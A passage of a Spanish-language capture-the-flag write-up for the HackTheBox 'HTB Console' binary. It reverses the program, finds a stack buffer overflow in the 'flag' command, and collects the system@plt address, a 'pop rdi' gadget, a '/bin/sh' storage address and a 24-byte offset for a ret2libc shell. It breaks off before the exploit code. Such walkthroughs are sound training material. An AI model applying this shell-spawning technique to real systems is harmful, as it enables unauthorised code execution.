HTB Console - HackTheBox

Posted on 7 mins

Table of Contents

Se nos proporciona un binario con las siguientes protecciones.

$ checksec htb-console 
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

Vemos que tenemos el NX habilitado, lo que nos impedira ejecutar codigo en la pila.

Ingenieria inversa

Abrimos el binario con IDA y decompilamos la funcion MAIN.

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char s[16]; // [rsp+0h] [rbp-10h] BYREF

  sub_401196(a1, a2, a3);
  puts("Welcome HTB Console Version 0.1 Beta.");
  while ( 1 )
  {
    printf(">> ");
    fgets(s, 16, stdin);
    sub_401201(s);
    memset(s, 0, sizeof(s));
  }
}

El código define un buffer de 16 bytes en la variable s y muestra el mensaje "Welcome HTB Console Version 0.1 Beta." con PUTS. Luego, entra en un bucle infinito (while (1)) donde solicita una entrada al usuario con printf(">> "), la lee con fgets(s, 16, stdin), y la pasa a la función sub_401201. Finalmente, limpia el buffer con memset. Al decompilar sub_401201 vemos lo siguiente.

int __fastcall sub_401201(const char *a1)
{
  char s[16]; // [rsp+10h] [rbp-10h] BYREF

  if ( !strcmp(a1, "id\n") )
    return puts("guest(1337) guest(1337) HTB(31337)");
  if ( !strcmp(a1, "dir\n") )
    return puts("/home/HTB");
  if ( !strcmp(a1, "flag\n") )
  {
    printf("Enter flag: ");
    fgets(s, 48, stdin);
    return puts("Whoops, wrong flag!");
  }
  else if ( !strcmp(a1, "hof\n") )
  {
    puts("Register yourself for HTB Hall of Fame!");
    printf("Enter your name: ");
    fgets(byte_4040B0, 10, stdin);
    return puts("See you on HoF soon! :)");
  }
  else if ( !strcmp(a1, "ls\n") )
  {
    puts("- Boxes");
    puts("- Challenges");
    puts("- Endgames");
    puts("- Fortress");
    return puts("- Battlegrounds");
  }
  else if ( !strcmp(a1, "date\n") )
  {
    return system("date");
  }
  else
  {
    return puts("Unrecognized command.");
  }
}

Esta funcion define un buffer de 16 bytes en la variable s y procesa diferentes comandos según la entrada del usuario. Dependiendo del input, el programa responde de manera distinta.

Si analizamos el comando "flag", el programa lee hasta 48 bytes en un buffer de 16 bytes, lo que hace al binario vulnerable a Buffer Overflow. Esto permite sobrescribir partes de la memoria y tomar control del flujo de ejecución. Entonces si ejecutamos el binario y enviamos el comando "flag" seguido de una gran cantidad de bytes, provocaremos una violación de segmento (segfault).

$ ./htb-console 
Welcome HTB Console Version 0.1 Beta.
>> flag
Enter flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Whoops, wrong flag!
[1]    93536 segmentation fault (core dumped)  ./htb-console

Explotación

Para resolver el desafío, utilizaremos la técnica ret2libc para ejecutar system("/bin/sh"). Dado que la función system está enlazada en el binario y PIE no está habilitado (lo que evitaría la aleatorización de direcciones), podemos extraerla directamente desde la PLT usando objdump. La dirección de la función SYSTEM es 0x401381.

$ objdump -M intel -d htb-console | grep 'system'
0000000000401040 <system@plt>:
  401381:       e8 ba fc ff ff          call   401040 <system@plt>

También necesitamos encontrar un gadget que nos permita cargar un valor en el registro RDI, ya que según las convenciones de llamada en x86_64, RDI es el primer registro que toma una función como argumento. Para lograr esto, utilizaremos la herramienta ropper para localizar un gadget adecuado que nos permita manipular RDI y pasarle la cadena "/bin/sh" como argumento a la función system.

$ ropper --file htb-console --search 'pop rdi'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: htb-console
0x0000000000401473: pop rdi; ret;

Ahora debemos encontrar una manera de pasar la cadena /bin/sh como argumento a system(). Como vimos en la función sub_401201, el comando hof nos permite ingresar un input que se almacena en la dirección de memoria 0x4040b0. Esto nos da la posibilidad de escribir /bin/sh en esa ubicación y luego utilizar su dirección como argumento para system. Podemos verificar este comportamiento utilizando GDB.

gef➤  run                                                                                                                                                                                                                                                                                                                    
Starting program: /home/abund4nt/pwn/htb/htb-console/htb-console                                                                                                                                                                                                                                                             
[Thread debugging using libthread_db enabled]                                                                                                                                                                                                                                                                                
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".                                                                                                                                                                                                                                                   
Welcome HTB Console Version 0.1 Beta.                                                                                                                                                                                                                                                                                        
>> hof                                                                                                                                                                                                                                                                                                                       
Register yourself for HTB Hall of Fame!                                                                                                                                                                                                                                                                                      
Enter your name: abund4nt                                                                                                                                                                                                                                                                                                    
See you on HoF soon! :)                                                                                                                                                                                                                                                                                                      
>> ^C                                                                                                                                                                                                                                                                                                                        
Program received signal SIGINT, Interrupt.                                                                                                                                                                                                                                                                                   
0x00007ffff7d1ba61 in __GI___libc_read (fd=0x0, buf=0x7ffff7e03963 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26                                                                                                                                                                                 
warning: 26     ../sysdeps/unix/sysv/linux/read.c: No such file or directory                                                                                                                                                                                                                                                 
[ Legend: Modified register | Code | Heap | Stack | String ]                                                                                                  
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xfffffffffffffe00                                                    
$rbx   : 0x00007ffff7e038e0  →  0x00000000fbad208b                                                                                                            
$rcx   : 0x00007ffff7d1ba61  →  0x4f77fffff0003d48 ("H="?)                                                                                                    
$rdx   : 0x1                                                                   
$rsp   : 0x00007fffffffdc380x00007ffff7c927a5<_IO_file_underflow+0165> test rax, rax                                                                
$rbp   : 0x00007fffffffdc700x00007fffffffdc900x00007fffffffdcf00x00007fffffffdd200x00007fffffffdd400x00007fffffffdde00x00007fffffffde40  →  0x0000000000000000
$rsi   : 0x00007ffff7e03963  →  0xe05720000000000a ("\n"?)                                                                                                    
$rdi   : 0x0                                                                   
$rip   : 0x00007ffff7d1ba61  →  0x4f77fffff0003d48 ("H="?)                                                                                                    
$r8    : 0x1                                                                   
$r9    : 0x0                                                                   
$r10   : 0x00007ffff7c18478  →  0x0011001a0000851e                                                                                                            
$r11   : 0x246                                                                 
$r12   : 0x00007ffff7e02030  →  0x0000000000000000                                                                                                            
$r13   : 0x00007ffff7e01ee0  →  0x0000000000000000                                                                                                            
$r14   : 0x0000000000404080  →  0x00007ffff7e045c0  →  0x00000000fbad2887                                                                                     
$r15   : 0x00007ffff7e038e0  →  0x00000000fbad208b                                                                                                            
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]                                                   
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00                                                                                                   
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdc38│+0x0000: 0x00007ffff7c927a5<_IO_file_underflow+0165> test rax, rax       ← $rsp                                                       
0x00007fffffffdc40│+0x0008: 0x00007fffffffdd200x00007fffffffdd400x00007fffffffdde00x00007fffffffde40  →  0x0000000000000000                    
0x00007fffffffdc48│+0x0010: 0x00007ffff7e038e0  →  0x00000000fbad208b                                                                                         
0x00007fffffffdc50│+0x0018: 0x00007ffff7e02030  →  0x0000000000000000                                                                                         
0x00007fffffffdc58│+0x0020: 0x000000000000000f                                 
0x00007fffffffdc60│+0x0028: 0x00007ffff7e03964  →  0xf7e0572000000000                                                                                         
0x00007fffffffdc68│+0x0030: 0x00007ffff7e038e0  →  0x00000000fbad208b                                                                                         
0x00007fffffffdc70│+0x0038: 0x00007fffffffdc900x00007fffffffdcf00x00007fffffffdd200x00007fffffffdd400x00007fffffffdde00x00007fffffffde40  →  0x0000000000000000      ← $rbp
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7d1ba5b <read+000b>      je     0x7ffff7d1ba70 <__GI___libc_read+32>                                                                                
   0x7ffff7d1ba5d <read+000d>      xor    eax, eax                                                                                                            
   0x7ffff7d1ba5f <read+000f>      syscall                                     
 → 0x7ffff7d1ba61 <read+0011>      cmp    rax, 0xfffffffffffff000                                                                                             
   0x7ffff7d1ba67 <read+0017>      ja     0x7ffff7d1bab8 <__GI___libc_read+104>                                                                               
   0x7ffff7d1ba69 <read+0019>      ret                                         
   0x7ffff7d1ba6a <read+001a>      nop    WORD PTR [rax+rax*1+0x0]                                                                                            
   0x7ffff7d1ba70 <read+0020>      push   rbp                                  
   0x7ffff7d1ba71 <read+0021>      mov    rbp, rsp                                                                                                            
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "htb-console", stopped 0x7ffff7d1ba61 in __GI___libc_read (), reason: SIGINT                                                                 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7d1ba61 → __GI___libc_read(fd=0x0, buf=0x7ffff7e03963 <_IO_2_1_stdin_+131>, nbytes=0x1)                                                           
[#1] 0x7ffff7c927a5 → _IO_new_file_underflow(fp=0x7ffff7e038e0 <_IO_2_1_stdin_>)                                                                              
[#2] 0x7ffff7c955d2 → __GI__IO_default_uflow(fp=0x7ffff7e038e0 <_IO_2_1_stdin_>)                                                                              
[#3] 0x7ffff7c86f7a → __GI__IO_getline_info(fp=0x7ffff7e038e0 <_IO_2_1_stdin_>, buf=0x7fffffffdd30 "", n=0xf, delim=0xa, extract_delim=0x1, eof=0x0)          
[#4] 0x7ffff7c8707c → __GI__IO_getline(fp=0x7ffff7e038e0 <_IO_2_1_stdin_>, buf=0x7fffffffdd30 "", n=0xf, delim=0xa, extract_delim=0x1)                        
[#5] 0x7ffff7c85bd4 → _IO_fgets(buf=0x7fffffffdd30 "", n=0x10, fp=0x7ffff7e038e0 <_IO_2_1_stdin_>)                                                            
[#6] 0x4013de → lea rax, [rbp-0x10]                                            
[#7] 0x7ffff7c2a1ca → __libc_start_call_main(main=0x401397, argc=0x1, argv=0x7fffffffde68)                                                                    
[#8] 0x7ffff7c2a28b → __libc_start_main_impl(main=0x401397, argc=0x1, argv=0x7fffffffde68, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffde58)
[#9] 0x4010de → hlt                                                            
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/s 0x4040b0                                                             
0x4040b0:       "abund4nt\n"

Nuestro input se almacena en la dirección ``0x4040b0. Ahora, necesitamos calcular el offset que nos permitirá sobrescribir el registro RSP y redirigir la ejecución del programa. Para ello, utilizaremos GDB nuevamente.

gef➤  pattern create 150                                                                                                                                      
[+] Generating a pattern of 150 bytes (n=8)                                    
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa        
[+] Saved as '$_gef0'                                                                                                                                                                                                                                                                                                        
gef➤  run                                                                                                                                                     
Starting program: /home/abund4nt/pwn/htb/htb-console/htb-console                                                                                                                                                                                                                                                             
[Thread debugging using libthread_db enabled]                                                                                                                 
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".                                                                                                                                                                                                                                                   
Welcome HTB Console Version 0.1 Beta.                                                                                                                         
>> flag                                                                                                                                                       
Enter flag: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa
Whoops, wrong flag!                                                                                                                                           
                                                                               
Program received signal SIGSEGV, Segmentation fault.                                                                                                                                                                                                                                                                         
0x0000000000401396 in ?? ()                                                                                                                                                                                                                                                                                                  
[ Legend: Modified register | Code | Heap | Stack | String ]                                                                                                                                                                                                                                                                 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────                                                                                                                                                               
$rax   : 0x14                                                                                                                                                                                                                                                                                                                
$rbx   : 0x00007fffffffde680x00007fffffffe1dd"/home/abund4nt/pwn/htb/htb-console/htb-console"                                                       
$rcx   : 0x00007ffff7d1c574  →  0x5477fffff0003d48 ("H="?)                                                                                                    
$rdx   : 0x0                                                                                                                                                 
$rsp   : 0x00007fffffffdd28"daaaaaaaeaaaaaaafaaaaaa"                      
$rbp   : 0x6161616161616163 ("caaaaaaa"?)                                      
$rsi   : 0x00007ffff7e04643  →  0xe05710000000000a ("\n"?)                     
$rdi   : 0x00007ffff7e05710  →  0x0000000000000000                                            
$rip   : 0x0000000000401396 ret           
$r8    : 0x13                                  
$r9    : 0x0                                   
$r10   : 0x00007ffff7c1a410  →  0x0011001a0000849e                                            
$r11   : 0x202                                 
$r12   : 0x1                                   
$r13   : 0x0                                              
$r14   : 0x0                                              
$r15   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2e0  →  0x0000000000000000                                            
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00                                                          
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────                                                                             
0x00007fffffffdd28│+0x0000: "daaaaaaaeaaaaaaafaaaaaa"    ← $rsp                                                      
0x00007fffffffdd30│+0x0008: "eaaaaaaafaaaaaa"                                                                        
0x00007fffffffdd38│+0x0010: 0x0061616161616166 ("faaaaaa"?)                                                          
0x00007fffffffdd40│+0x0018: 0x00007fffffffdde00x00007fffffffde40  →  0x0000000000000000                         
0x00007fffffffdd48│+0x0020: 0x00007ffff7c2a1ca<__libc_start_call_main+007a> mov edi, eax                         
0x00007fffffffdd50│+0x0028: 0x00007fffffffdd90  →  0x0000000000000000                                                 
0x00007fffffffdd58│+0x0030: 0x00007fffffffde680x00007fffffffe1dd"/home/abund4nt/pwn/htb/htb-console/htb-console"                                                                                                                   
0x00007fffffffdd60│+0x0038: 0x0000000100400040 ("@"?)                                                                 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────                                                                               
     0x40138f                  call   0x401030 <puts@plt>                                                             
     0x401394                  nop                                                                                    
     0x401395                  leave                                                                                  
 →   0x401396                  ret                                                                                    
[!] Cannot disassemble from $PC                                                                                       
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────                                                                               
[#0] Id 1, Name: "htb-console", stopped 0x401396 in ?? (), reason: SIGSEGV                                            
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────                                                                               
[#0] 0x401396 → ret                                                                                                   
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────                                                                               
gef➤  agaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa         
Undefined command: "agaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa".  Try "help".                                                                                                   
gef➤  pattern search $rsp                                                                                             
[+] Searching for '6461616161616161'/'6161616161616164' with period=8                                                 
[+] Found at offset 24 (little-endian search) likely

Necesitamos enviar 24 bytes, con toda esta información tenemos todo lo necesario para comenzar a construir el exploit. En resumen primero vamos almacenar la cadena /bin/sh en la direccion de mem